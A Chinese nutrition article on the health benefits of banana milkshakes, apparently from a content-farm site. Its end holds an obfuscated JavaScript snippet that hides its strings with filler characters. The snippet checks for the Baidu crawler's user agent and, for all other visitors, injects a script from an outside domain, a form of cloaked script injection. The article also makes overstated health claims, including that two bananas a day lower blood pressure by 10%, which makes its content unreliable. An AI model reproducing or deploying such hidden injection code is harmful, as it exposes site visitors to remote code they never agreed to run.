当前位置:首页 > 饮食 > 食物营养 > 正文

香蕉奶昔的营养价值

2017-07-11 17:35:24  来源:360常识网   热度:
导语:香蕉奶昔是一种非常不错的饮品,赢得了我们很多老少朋友们的一致好评,喝一些香蕉奶昔可以帮助我们补充能量,而且还可以有效的帮助我们消除

香蕉奶昔是一种非常不错的饮品,赢得了我们很多老少朋友们的一致好评,喝一些香蕉奶昔可以帮助我们补充能量,而且还可以有效的帮助我们消除自身的紧张情绪,可有效的帮助我们达到缓解头痛的效果,香蕉中也富含了丰富的钾元素,普及一下香蕉奶昔的营养价值吧。

香蕉属高热量水果,据分析每100克果肉的发热量达91大卡。在一些热带地区香蕉还作为主要粮食。香蕉果肉营养价值颇高,每100克果肉含碳水化合物20克、蛋白质1.2克、脂肪0.6克;此外,还含多种微量元素和维生素。其中维生素A能促进生长,增强对疾病的抵抗力,是维持正常的生殖力和视力所必需;硫胺素能抗脚气病,促进食欲、助消化,保护神经系统;核黄素能促进人体正常生长和发育。

香蕉含钾高可预防心血管疾病

香蕉属于高钾食品,而钾对人体的钠具有抑制作用,多吃香蕉,可降低血压,预防高血压和心血管疾病。研究显示,每天吃两条香蕉,可有效降低10%血压。

另外,香蕉对失眠或情绪紧张者也有疗效,因为香蕉包含的蛋白质中,带有氨基酸,具有安抚神经的效果,因此在睡前吃点香蕉,多少可起一些镇静作用。

香蕉奶昔的营养价值是非常多的,香蕉中的含水量高达70%以上,含有丰富的碳水化合物,蛋白质,以及维生素a等维生素c等很多元素具有非常不错的帮助我们补充身体营养的效果,大家都可以尝试着多喝一些香蕉奶昔。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}